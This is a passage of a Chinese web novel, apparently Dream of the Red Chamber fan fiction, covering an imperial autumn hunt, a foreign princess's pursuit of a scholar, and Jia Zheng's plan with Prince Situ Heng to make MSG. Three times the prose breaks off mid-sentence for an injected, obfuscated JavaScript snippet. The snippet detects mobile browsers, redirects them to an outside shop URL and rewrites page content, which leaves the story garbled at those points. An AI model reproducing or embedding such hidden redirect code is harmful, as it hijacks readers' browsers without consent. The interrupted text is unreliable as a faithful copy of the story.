问题是礼部尚书也不知道孙子为何会这样做,那六队的猎物都是按车算的,他们却只猎到二十几只,他记得他们的骑射没这么差啊。 礼部尚书冒冷汗想对策,他的好大孙却上前一步,拱手道,“回陛下,臣等是觉得随意猎杀生灵有伤天和,因此才不忍下手的。” “哦。”皇上只是应了声,并未多看他一眼,而是扫视过其他六队,指着其中一人问道, “贾政,你说说看,你们为何要猎杀这么多生灵,你就不担心有伤天和吗?” 57.第五十七章 闹剧 贾政随队回到行宫广场,看到文官子弟那边只猎到寥寥几只猎物,就知道他们在打什么主意了。 自从播放过某正王朝这部电视剧,用不忍杀猎物来彰显自身仁慈宽厚的桥段,快被男频女频写烂了,无一例外都成了反派翻车的名场面。 狩猎活动是皇帝亲自主办的,你要是不忍杀生,大可以不报名参与,加入狩猎队却一副众人皆恶我独仁的架势,不是明着打皇上的脸么。 贾政笑呵呵的吃瓜看热闹,不成想还有自己的事,皇上把狩猎是否有伤天和的难题丢给了他,这要怎么回答? 他站出队列,在走到高台前的短暂距离内大脑飞速运转,来到台前他单膝跪地,朗声道,“臣等奉圣谕狩猎,兵锋所指,片甲不留。” 贾政表达得很明确,只要皇帝下令,天道算个甚,哪怕杀成尸山血海,羽林卫眼睛都不带眨一下的。 皇上是被尚书之孙的论调气到了,不想杀生你跑到猎场上干什么,还当着外人的面说出如此软弱不堪之语,是想丢全大虞男子的脸么。 他下意识就要找个信得过的后辈挽回面子,点到贾政的那一瞬又后悔了,担心他回答不好会遭到文官集团的攻击。 发现老五瞪着自己,皇上又理直气壮起来了,不过是回个话而已,能出多大事,老五有了心上人就忘了爹,你个不孝子。 皇上在心里思量贾政回错话时要如何帮他找补,不料竟能听到如此雄壮霸气之言,圣谕所指连天道都能踩在脚下,这才是大虞男儿应有的气魄。 他哈哈大笑,“好好好,不愧是朕的御前精锐,此回秋猎开场,羽林卫拔得头筹,众位爱卿没意见吧?” 一群官场老油条哪会在这种小事上跟皇帝计较,况且人家贾政回的不差,连他们都有点热血沸腾呢。 贾代善接收到不少羡慕嫉妒的眼刀子,笑得眼睛都找不见了,同众人一起连声称赞皇上教导有方,羽林卫勇猛强悍,威武忠诚,盖世无双。 皇上被马屁拍爽了,大手一挥赏下战马盔甲武器,大笔珠宝毛皮,连未得冠的其他五队也各有嘉奖,唯独漏下了文官子弟那一队。 他们队里都是清流士族最出色的年轻一代,何曾受过这等折辱,都快恨死出主意的人了。 礼部尚书之孙姓刘名宏字文瑞,与林如海并称国子监双星,文采斐然,弓马娴熟,是个文武双全的风流人物,名声比低调的林如海响亮多了。 他本以为可以用仁德之名在秋猎场上大放异彩,为明年的春闱造势,哪成想媚眼抛给了瞎子看,皇上根本不吃他那套,不仅丢了脸面,还得罪了全队人,只好灰溜溜回到自家的地盘上躲羞。 其实刘文瑞要是能往左侧台上看一眼,就会发现他的媚眼还是有人欣赏的,东喀喇王姬紧紧盯着他,两只眼都快变成爱心型了。 王姬自小在天山脚下长大,接触的男子都是大胡子,常年不洗澡,一身骚臭味的糙汉子,因此听说父兄要把她嫁给年近五十的皇帝,她也没有反对的意思,至少人家爱干净,再老也比身边这些邋遢鬼强。 见到皇家人,她又觉得嫁给个老男人有点亏,漂亮到好似天神下凡的五皇子才是她的理想型。 接着又发现皇上身边的侍卫都不错,一个个干净水灵,嫁给五皇子,再暗中找几个侍卫,这才是王姬应该过的日子。 直至看到刘文瑞,先前的想法都被推翻了,她从未见过这样斯文俊秀又善良的人,美好得好似天山上的雪莲,她要嫁给他,这个人必须是自己的。 开猎仪式结束,接下来就是各家自由组队狩猎,礼部官员负责统计当天猎物数量,把表现最出色的队伍和个人呈到御前。 每晚的宴会上还有角力、骑射和拳脚等各项比试,供皇帝从各家子弟中挑选人才。 这些就不干贾政的事了,狩猎过后他有半天休息时间,在浴房洗去一身尘土臭汗,刚把头发晾干,皇上的赏赐就送过来了。 珠宝毛皮这些细软要回宫以后才能发放,现在能拿到手的只有战马盔甲和兵器。 贾政接过白马银甲,亮银枪和银鞘官剑,抽着嘴角同众人跪地谢恩,送走礼官就拉着马往功勋世族驻扎的院子走去。 贾代善正在自家正堂里摆宴,招待东平郡王和几位国公府当家人吃酒,听到贾政回来了,立即命人出来传话,让他穿上御赐的盔甲再进去。 贾政听说与自家交好的几位长辈都在,就知道老爷这是显摆孩子玩儿呢,身为儿子要是胆敢不配合,回头肯定有他好受的。 请护院首领老杜叔帮他穿戴好银盔银甲,贾政提着亮银枪,腰配官剑走入主帐,拱手问老爷和长辈们安。 东平郡王哈哈笑道,“好好,我们政儿一表人才,是少年将军该有的模样。” 镇国公府牛大人好笑的摇头,“你怎么还皱着眉头啊,这身盔甲我在三十多岁才得了一套,宝贝得什么似的,你小子还不知足。” 贾政哪敢说他是担心这身行头亮到反光,到了战场上会成为活靶子。 他好奇道,“牛伯伯也有同样的盔甲吗?在战场上穿得这么显眼不会出问题么?” 几人哈哈大笑,终于明白小家伙为何皱着脸了。 修国公府的侯大人解释道,“这是将军以上的制式战甲,在战场上最重要的是让手下官兵看到自己,跟上冲锋节奏,因此盔甲才会设计得如此亮眼,为了区分彼此,上战场前还会给盔缨染上不同颜色,避免手下跟错人。” 东平郡王接着道,“至于会不会成为敌人的靶子,那是肯定的,身为将领要是连自己都保护不了,还有什么资格率领军队。” 贾政拱手受教,第一次直面战场的残酷,身为将领一面要给手下当指路明灯,一边还得当敌人的移动目标,能活下来的都是神人啊。 缮国公府的石大人笑道,“好啦,别把孩子吓到了,政儿还没用膳吧,卸下战甲过来吃饭。” 贾政应了声,退出去脱下战甲,吃饭时贾代善又嘱咐道,“战马盔甲和枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16131603|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都留在我这儿,官剑你拿回去佩在身上,御赐之物总要留一件让皇上看到。” 东平郡王几位长辈也有话交待,出门在外不比宫里,这次还有回部的客人在,跟紧皇上不要在行宫里乱晃,要是在外人那里吃了亏,他们连帮忙都来不及。 贾政一一应下,这边正说着,就听到外头乱了起来,吵嚷声大到想忽略都不行。 几人面面相觑,想不出谁敢在行宫内高声喧哗,这边距离皇上所在的正殿只隔了三个院子,找死也不待这么玩儿的。 不多时东平郡王府的长史官进来了,脸上的表情比贾政刚回来时还精彩。 “禀告王爷,喧哗之人是回部的王姬,她找到礼部刘尚书的院子,让他把刘公子叫出来跟自己成亲,刘家人不肯,就吵起来了。” “噗,哈哈。”贾政笑到打鸣,那位王姬太有意思啦,敢爱敢恨,看准了就直接上手抢,比一脸假笑的大王子强多了。 贾代善几人哭笑不得,“刘尚书这背字走的,也是没谁了。” 长孙刚被皇上厌弃,转头又被东喀喇王姬看上了,那可是要献给皇上的女人,虽然皇上不一定会收,也是在御前挂了名的,转头她却看上了臣子之孙,岂不是说皇上连个毛头小子都比不上么。 贾政笑够了才发现其中的槽点和凶险,皇上再次被刘文瑞打脸,一个不爽刘家人就要完蛋了啊。 他缩了下脖子,“趁事情还没闹大,我先回去了,老爷和叔伯们不要参和到这件事里,我就待在配殿不出来了。” 贾代善笑骂,“我们还用你嘱咐,快滚回去吧。” 贾政拱手告辞,出了院子就溜着墙根跑回正殿后门,见很多同僚都在这儿抻脖子往那边张望,赶忙压低声道,“快回去,不是好事。” 众人吓了一跳,赶忙让开位置让贾政进门,拉着他回到配殿,才问那边发生了什么事,吵嚷声连这边都听到了。 贾政苦着脸,把东喀喇王姬的神操作说了一遍,听到的人都吓麻了,管义友摸着脖子,低声道,“都管好自己的脑袋吧,哪下子跟脖子分开了,娇妻美妾就要成别人的了。” 大家也都捂着脖子猛点头,要不怎么说御前风险高呢,刚得了赏赐又掉下个天雷,万一皇上恼了想找人出气,他们就是第一个倒霉的。 皇上的心胸比众人以为的开阔多了,他本就没打算收下王姬,娴静典雅的大家闺秀才是他的菜,哪能看上外头来的野丫头。 他原是想着如果东喀喇非要送人,就赏赐给老三或老五,他们俩与皇位不相干,弄出个有外族血统的孩子也没关系,就养着呗。 结果人家王姬没看上皇家父子,反倒跑去强抢礼部尚书之孙,那就给她好了,反正刘老头又不止这一个孙子。 成亲后封他个爵位,再派他出使东喀喇,看那边究竟是什么情况,朝廷出兵能得到多少好处。 他要是能死在那边就再好不过了,朝廷有了名正言顺的出兵理由,连东喀喇他都不打算留。 58.第五十八章 构想 东喀喇大王子不知道皇上正转着危险的念头,一个弄不好就要被偷家了,接到消息他快速赶过来,死拖活拽把王姬弄走了。 王姬被拖走前还不死心,大叫道,“美人,你等着我,我很快就会来迎娶你的。” 她的官话语调本就奇怪,大声喊出来越发流里流气了,把看热闹的人都笑趴下了。 刘文瑞羞愤欲死,更害怕皇上真会同意回部王姬的请求,把他当成礼品送给东喀喇,也顾不得在猎场上找回面子了,王姬一走他就命人备马,逃命似的跑回城中。 贾政是晚宴开始前听说刘文瑞逃了,卫胜青和江离来找他参加晚宴,说起刘文瑞的倒霉事,都笑得昂昂的。 贾政骑了一上午马,这会儿腰酸背疼,摊在床上不想动,摆手让伙伴们自己去玩儿,他躺在床上琢磨刘文瑞是否知道了什么,发觉有危险才跑的。 皇上只要想办法让他死在天山以南,就是个绝佳的出兵理由,文官再不情愿也得捏鼻子认下。 这时,有小内监敲门,请他去忠敬郡王所在的西偏殿。 贾政想不出司徒衡这时候找他做什么,抬眼打量小内监,发现竟是认识的人,小家伙在琼华岛的广寒殿当职,那天他被大鹦鹉欺负,还是自己救的他。 小内监见贾政认出了自己,抿嘴笑道,“奴叫戴权,谢贾大人那天救我。西偏殿这会子没有外人,贾大人只管过去便是。” 戴权?这不是原著中大明宫掌宫内相的名字么? 这孩子看着内向胆小,竟然还有这个造化,内相是所有宦官的大头领,连皇后都要礼让三分的人物,看现在的苏诚就知道了,话语权不比某部大佬小到哪里去。 少年受难,在深宫中蛰伏数年,最终爬到顶点,一人之下万人之上,放在上辈子也是爽文大男主才有的剧本。 贾政心怀敬意的谢过戴权,避着人悄悄来到西偏殿,他从不怀疑司徒衡会害自己,被带进内殿才发现大意了,被老内监按在床上在大腿上一阵抓揉,疼得他哀叫出声。 “别叫,忍着点。”司徒衡按着贾政肩膀,柔声安慰,“你不习惯长时间骑马,不把筋骨推拿开,明天就没法当职了。” 贾政这才意识到自己忽略了最严重的问题,今天在马上骑了五个多小时,现在腰腿就很不舒服了,明天肯定会变成罗圈腿的,皇上刚称赞过他,转天就露了怯,再被打脸皇上真要恼了。 他紧紧抓着身下的褥子,苦着脸道,“谢谢你记挂着,比我老爷想得都周到,但能不能轻点,好疼,疼死啦。” 连老爷都忘记自家好大儿是个娇少爷来的,长时间骑马会腿痛,司徒衡竟然想到了,明明没帮过他什么,他却待自己这么好,这就是缘分么。 司徒衡无奈又心疼,抹掉贾政疼出来的小泪花,柔声哄道,“坚持下,一会儿就好了,推拿过后再去池子里泡一泡,我这儿有好酒,你想吃什么,这就命人送过来。” 贾政扁了下嘴,今天打的猎物他们分了不少,和队友吃了一下午烤肉,腮帮子都累得慌,不想再吃咬起来费劲的东西了。 他疼得咝咝哈哈的,还是道,“我想吃白粥,把米煮烂了加点虾肉和瑶柱,还有小菘菜,只加盐和胡椒,再滴两滴香油就行了。” 司徒衡轻笑,他发现贾政是个很喜欢享用美食的人,食材无需多昂贵,更注重搭配合理,挖掘出食材更多风味。 他佯装遗憾的叹道,“我听说你想出了很多炸出来的美食,还往兵部送了肉松方子,外头都有商家仿制出来了,我还没吃到过呢。” 贾政脑中叮咚一声,突然想到个绝佳的发财主意,他笑道,“之前做出来的只是实验品,我还有更好吃的东西没拿出来呢,王爷,不如我们合伙开个作坊吧。” 司徒衡好笑的摇头,原来这人不只是馋猫,还是财迷,“当差还不够你忙的,你又不缺银子,就不怕御史参你与民争利么?” 贾政叹了口气,见殿内除了司徒衡和亲信内监并无外人,他压低声音问道,“王爷可知,我家欠了户部多少钱么?” 司徒衡一愣,心疼的抚了下贾政后背,柔声道,“大概四十多万两,这些钱是你家接驾欠下的,皇上和户部心里有数,不会有人追债的。” 贾政把头埋在褥子里,悲痛到都感觉不到腿疼了,欠了朝廷四十多万两,还硬梗着脖子不还,拿全家性命当老赖,这是一种什么样的精神哦。 他抹了把眼泪,“不管什么原因,欠债还钱,天经地义,王爷,我们开作坊吧。” 司徒衡这个心疼,“行行,听你的,开作坊,我投资,你经营,收益都归你,不用着急,我这里还有二十多万两,你先拿去还一部分。” 贾政摇头,“哪能用你的钱,我们合作经营,收益一家一半,反正当今在位时也不会追债,经营个几十年怎么也能攒够还债的银子了。” 司徒衡呵呵笑道,“这话皇上肯定爱听,再过几十年啊,我们都老了。” 贾政也笑了,“王爷放心,我保证再过几十年王爷也是个帅大叔。” 司徒衡好笑道,“刚才还抹眼泪呢,这会儿又开始贫嘴了,起来吧,我们去泡温泉,跟我说说你打算开个什么作坊。” 贾政在内监的搀扶下站起身,推拿过后全身都松快了,走进偏殿后面的抱厦,两人用大布巾围在腰上,一起泡在温泉池子里。 司徒衡皮肤白皙,肌肉紧实,手臂上的肱二头肌比贾政的还要强健,与平日衣袖飘飘的清冷公子形象大相径庭。 贾政盯着他的手臂,再看自己肩膀,心中悲伤逆流成河,两辈子都练不出大块肌肉的痛苦谁能懂啊。 “王爷也习武吗?手臂是怎么练成这么漂亮的?” 司徒衡邀请贾政泡温泉时并没有多想,泡进池子以后才发现高估了自己的定力,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16135442|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神闪躲,生怕再看一眼就要起不好的反应了。 听到贾政如此问,他下意识看向对面如玉雕成的手臂线条,立即感到腰间一紧。 他赶忙转过身,趴在池边上回道,“我们兄弟小时候都练过几天,现在也就偶尔拉个弓,你又不上战场,保持现在这样就挺好的。” 贾政只当他累了,也学着他趴在池子边,支着头叹道,“我马上功夫差得很,老爷太太也不会同意我上战场的,依王爷看,这次有可能出兵回部么?” 司徒衡摇头,“很难说,主要是看不到实际利益,虽然东喀喇表面功夫做得不差,也不代表我们一定要出兵帮他们,付出和收益总不能相差太多,否则皇上可敌不过文人那张嘴。” 贾政叹气,柳节他们还指望在这场战事里出头呢,国家太平无战争于百姓是好事,对武勋和武将却成了灾难,持续下去手上的权柄只会越来越少,最终被文官打压到土里去。 司徒衡平复过来了,语气轻松道,“我们着急也没用,不如说说你打算开什么作坊吧,想几十年赚到四十多万两银子,可不是件容易事。” 贾政想了下,才道,“我也不确定能不能成功,在江南时我曾在一家小道观里吃过一道凉拌豆腐,里面只放了盐和香葱,滋味却鲜美异常。我时常去吃,跟那对师徒混熟后就问可否用银子买配方,没想到他们却说此方是以丹火炼制出来的丹药,除非我拿三千两银子入道,否则绝不外传。” 司徒衡惊道,“遇到骗子了,还是胡乱炼丹的妖道,你没事吧?” 贾政摇头,“我那时也是这么想的,当即亮出身份要拿他们见官,那对师徒立时就怂了,他们拿出一种白色晶体,并向我展示了制作过程,用海带、稀盐酸和草木灰就能做出极为鲜美的调味佳品,只放几粒在清水中,味道竟不比吊了一夜的鸡汤差。” 司徒衡惊讶道,“果真有此等神奇之物?你既看过了,为何不制出来?” 贾政苦笑,“海带和草木灰都是寻常之物,但稀盐酸就不一样了,我跟老爷讨要肯定得交待出前因后果,太太要是知道我偷跑出府,还乱吃外头的东西,肯定会把我关在后院命全府下人一起盯着,为了一口吃的,不值当如此牺牲。” 司徒衡轻笑,“原来你小时候这么淘气,稀盐酸内务府的作坊就能制,回去我们试一试,若是真有你说的那样美味,别说几十万两,十年赚到几百万两都不成问题。” “真的么?”贾政转头,瞪圆了眼睛希冀的看着司徒衡,恨不得现在就回城。 古法制味精他只在网上看过,还没实际操作过呢,要是真能成功,凭这个方子后代子孙就不用愁了。 司徒衡含笑点头,被贾政的大眼睛看得心中软软的,想伸手揉他的头,又怕把人吓跑了。 他盯着贾政,眼中闪着幽暗的光,这次是他主动送上门的,既入了他的心,就再也跑不掉了哦。 59.第五十九章 信任 在司徒衡那里用过晚膳,贾政回到配殿休息一晚,次日腿果然不疼了,挺直腰杆从呲牙咧嘴揉大腿的队友身边走过去,笑呵呵接下好几个飞来的眼刀子。 早膳过后,皇帝和群臣再次来到行宫广场的高台上,为参与狩猎的队伍鼓舞士气。 今日的开场狩猎队是由三位皇子和四个郡王府的世子率领的,身为皇子总不好在皇家围猎中当看客,即便没有一争高下之心,也要参与一次,以表示对秋猎传统的支持。 贾政昨天就知道司徒衡今日会下场,先前他还担心来着,怕司徒衡养尊处优惯了,受不了狩猎这种激烈运动。 自从看到那家伙强健的臂膀,他就把没必要的想法全部抹去了,司徒衡的力气肯定比他大,犯不着婆婆妈妈的。 七皇子年纪还小,直接跟在五哥身边,和三皇子各带五十人,与四位郡王世子分据一方,在战鼓声中冲入猎场。 贾政站在皇上侧前方,见他盯着猎场方向久久收不回视线,不由在心中叹息。 皇上也是人,同样舔犊情深,三个儿子都进了有野兽出没的林子,就算有御前高手保护,老父亲也免不了担心。 同时他也发现一件很有意思的事,司徒衡和七皇子在人前都是沉默寡言型的,七皇子几乎不跟太子和三皇子说话,偶尔眼神交流也只针对司徒衡。 皇上也同样如此,在外人面前极为宠爱三皇子,父子俩经常有说有笑,比对太子还亲热。 但私底下皇上却更信任司徒衡一些,七皇子提出要跟着五哥狩猎,他想也不想就同意了,直接堵死了三皇子反对的可能。 贾政偷眼打量皇上,好奇他是怎么想的,司徒衡的身份仅次于太子,太子要是倒了,他才是最有希望成为下任太子的人选。 可皇上却能放心将最看重的小儿子交给他保护,贾政很想知道司徒衡是如何得到皇上和七皇子信任的,难道父子两个早就说开了,他明确表示过不会参与储位之争么。 贾政觉得很有可能,司徒衡对什么都淡淡的,像个修忘情道的谪仙,完全看不出热衷权势的样子。 呃,贾政仔细回忆司徒衡平日的作态,吃穿用度和身边的人,他好像就没对某样东西感兴趣过,要说格外关注什么,好像就只剩下自己了。 贾政差点窘成酸梅超人,王爷眼中无旁物,只在意自己一个人,言情小说都不待这么写的。 哎,等一下,贾政差点蹦起来,他和司徒衡清清白白的,怎么就拐到言情频道去了。 “喂,我叫你呢。”一声娇斥把贾政叫回神。 他抬眼环顾四周,发现三面高台上所有人都盯着自己,东喀喇的王姬指着他,脸上满是愤愤之色,好似不搭理她是多严重的罪过似的。 贾政像没听到一样,目视前方站得笔直,在御前当职期间除非皇帝亲自下令,否则谁也管不到他头上。 王姬说白了就是个藩王家的闺女而已,把她当成客人才会礼让三分,不代表就能在他面前抖威风,要论身份尊贵,野丫头在京都根本排不上号。 王姬昨天被哥哥教训惨了,暂时歇了打刘文瑞主意的心思,今日见到更加帅气挺拔的贾政,她又忍不住故态复萌,想要跟他搭话。 见贾政不搭理自己,王姬气得脸都青了,有哥哥在旁边盯着,她不敢当场发作,只能暗自磨牙,反而更坚定了嫁给刘文瑞的想法。 他的父亲可是朝廷品级最高的官员,等她嫁进刘家,就把这个小侍卫抓起来,折磨死他。 皇上和在坐众人都含笑看热闹,要论骄纵,王姬照国公府的小少爷可差远了,她不过是个联姻工具,而贾代善却是真心疼孩子,看在荣国公的面子上,连皇上都拿贾政没辙,他能搭理王姬才怪呢。 东喀喇的大王子是个极有眼色的人,发现皇上和众位大臣看小侍卫的目光都带着慈爱,立即意识到他不是自家能惹的,狠狠瞪了妹妹一眼,警告她老实点,又转过头笑盈盈的说起天山盛产的药材。 今天的开场狩猎仅一个时辰便结束了,六支队伍带回的猎物数量差不多,因为刘文瑞昨天演砸了,四位世子并没敢带活物回来,三皇子却抓到几只漂亮的大锦鸡,剪了翅膀送给司徒衡养在王府。 七皇子抓到两只小鹿,也是打算送给五哥赏玩的。 三位皇子当众表演手足情深,众大臣也不失时宜的送上马屁,恭贺皇上教子有方,皇子兄友弟恭,可为同胞手足之楷模。 皇上在马屁齐飞中哈哈大笑,判定六队平手,重赏了所有人,又命人从宫中兽园挑选仙鹤白娴孔雀等各色鸟兽送去郡王府,一场狩猎表演皆大欢喜的落下帷幕。 接下来的自由狩猎就没这么和平了,各家后辈都指着在猎场上出头呢,这次东喀喇也派出队伍加入狩猎,让激烈程度更提了几个档次,鼓声敲响后数百人嗷嗷叫着冲入猎场,那架势像是连山都能铲平了。 这次就不用在台上等着了,皇上请东喀喇众人回到行宫,命三皇子和五皇子,以及鸿胪寺四夷馆的陪同官员招待他们宴乐饮酒。 大王子也不拒绝,在席上与众人推杯把盏,饮酒谈笑,实则是在相互套话试探,东喀喇摸不清朝廷的想法,朝廷对他们的真正实力也所知寥寥,在双方都没探明彼此底细之前,是不可能真心合作的。 贾政跟随皇上和七皇子回到正殿,刚在位置上站好,就听皇上问道,“贾政,你觉得东喀喇王姬是什么样的人?” 贾政想了下才道,“臣没接触过她,只在表面上看,王姬性情鲁莽,行事霸道,不是个聪明的人。但也不排除她是故意表现成这样的,实则是想把水搅浑,再暗中收买官员替他们说话。” 七皇子哼了声,“把朝廷的水搅浑,就凭她?” 皇上来回打量老七和贾政两个孩子,不解道,“东喀喇王姬不美吗?只看那张脸,朕的后宫无一人能与之相比,你们怎么一副兴致缺缺的样子?” 说到最后他都有些惊悚了,突然发现老七从未对哪个女人表现出特别的兴趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16140577|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他都十五岁了,该不会…… 七皇子拢着衣袖回瞪老爹,看眼神就知道他没想好事。 眼见小少年要恼了,贾政赶忙开口,“美人在骨不在皮,皮囊再美也不过几年光景,性情相投才是最要紧的。” 七皇子连连点头,他也是这么想的,臭皮囊再美丽又有什么趣,皮下的灵魂性情才是他看中的,贾政不愧是五哥喜欢的人,灵性远超凡夫俗子。 大俗人一枚的皇上好想叹气,以老七的脾气,给他找皇子妃不是一般的难啊。 他开始循循善诱,企图扭转小儿子的想法,“女人能美貌几年就足够了,不喜欢了就放在后院养着呗,再找新人便是。” 哼,坏人。 七皇子别开脸,心里替母妃委屈得慌,谁年轻时还不是娇俏的美人了,母妃入宫才几年就被丢到一边,要不是养了个皇子,早就被忘到天边去了。 呵,渣男。 贾政对着天花板翻个白眼,虽说古代男人都不怎么样,但要说最渣的,绝对是皇上这只大猪蹄子,据说明年他还要选妃,都快五十的人了,就不怕精尽人亡么。 皇上为找小儿媳妇的事愁了一下午,傍晚时狩猎队归来,修国公府侯孝康的队伍抬回一只成年虎,因此拔得头筹。 东喀喇队排在第二,他们杀了一只母豹,还把人家的崽子活捉了回来,将小豹子送给了年纪最小的七皇子。 七皇子刚才还跟老爹赌气,现在却傻眼了,他自幼长在宫中,为了不惹麻烦,母妃连猫都不让他养,面对张牙舞爪的小豹子,一时竟有些手足无措起来。 司徒衡很喜欢这只小豹子,大大的眼睛灵性十足,哈人的样子与贾政发脾气瞪人时一般无二,让人想把它抱在怀里抚毛,就算被抓伤也甘愿。 他笑道,“你没处养就放在我那里好了,想它了就出宫到我府上看便是。” 七皇子松了口气,“那就麻烦五哥养着了,我对说不通道理的家伙实在没辙。” 三皇子嗤笑,“这世上哪有那么多道理可讲。” 就像今天,他带回的猎物明明最多,却被皇上判成了平手,两个弟弟就罢了,那几个郡王世子凭什么与自己平起平坐。 狩猎队回来时正轮到贾政休息,晚上轮职前才看到养在笼子里的小豹子,他惊得眼珠子差点突出来。 谁来告诉他,北方丘陵地带怎么会有雪豹的,它们不是应该生活在高原地区,被称为雪山之王吗? 这个问题没人能回答他,听说雪豹归司徒衡养了,贾政高兴的咧嘴无声大笑,雪豹和小熊猫是他最喜欢的动物,现在雪豹归了自家,要不要派人去秦岭弄几只小熊猫回来呢。 哎,等一下,贾政一头雾水的蹲在地上,搞不清楚自己是怎么想的,雪豹明明是司徒衡养的,跟他有半毛钱关系么,他是怎么生出归自家这个念头的? “你在做什么?”司徒衡从正殿出来,看到贾政抱着头蹲在地上,跟雪豹大眼瞪小眼,他这是怎么了?